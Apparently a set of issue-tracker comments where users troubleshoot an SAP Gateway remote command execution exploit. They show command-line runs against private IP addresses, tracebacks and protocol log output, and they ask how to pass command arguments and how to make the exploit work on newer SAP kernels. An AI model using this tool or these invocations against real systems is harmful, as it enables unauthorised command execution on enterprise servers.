I am currently playing with exploit.
One word commands are working perfectly, but when I am trying to run commands with parameters, it seems it ignores them. For example, whoami returns me username, but whoami --help also return username.

Is it possible to encode command string to pass also parameters after space?

kali@kali:~/SAP_GW_RCE_exploit$ python SAPanonGWv1.py -t 172.16.30.28 -p 3300 -c whoami
[*] sending cmd:whoami
Traceback (most recent call last):
File "SAPanonGWv1.py", line 155, in
print run_cmd()
File "SAPanonGWv1.py", line 78, in run_cmd
return RCE_gw() # via gateway
File "SAPanonGWv1.py", line 85, in RCE_gw
result = exploit(cmd, param)
File "SAPanonGWv1.py", line 107, in exploit
s.connect((args.target, args.port))
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused

Many thanks for the great work!

I've spotted a problem:
When I try to execute both Scripts, I get an Error, that the function "SAPXPG_END_XPG not found" (tested with SAP Kernel 753) error_K753.zip

Output of Scripts:

python SAPanonGWv1.py -t 192.168.66.19 -c whoami -p 3300
[*] sending cmd:whoami

python SAPanonGWv2.py -t 192.168.66.19 -c whoami -p 3300
[INFO ] [+] Sending GW_NORMAL_CLIENT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_INIT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_SEND
[INFO ] [+] Sending F_SAP_SEND2
[!] Error. resp_lines = 0 or resp_type = 0

Test with SM49

I did a test, to capture the communication between to SAP Systems where an OS command get executed via SM49
sapxpg_working_SM49.zip

I tried the Scripts on an older SAP Kernel (742) and it did work as it should. (that's the reason why I think that the newer Kernel causes the problems)

Would be great if you could have a look at the scripts, to fix the error!
Thanks!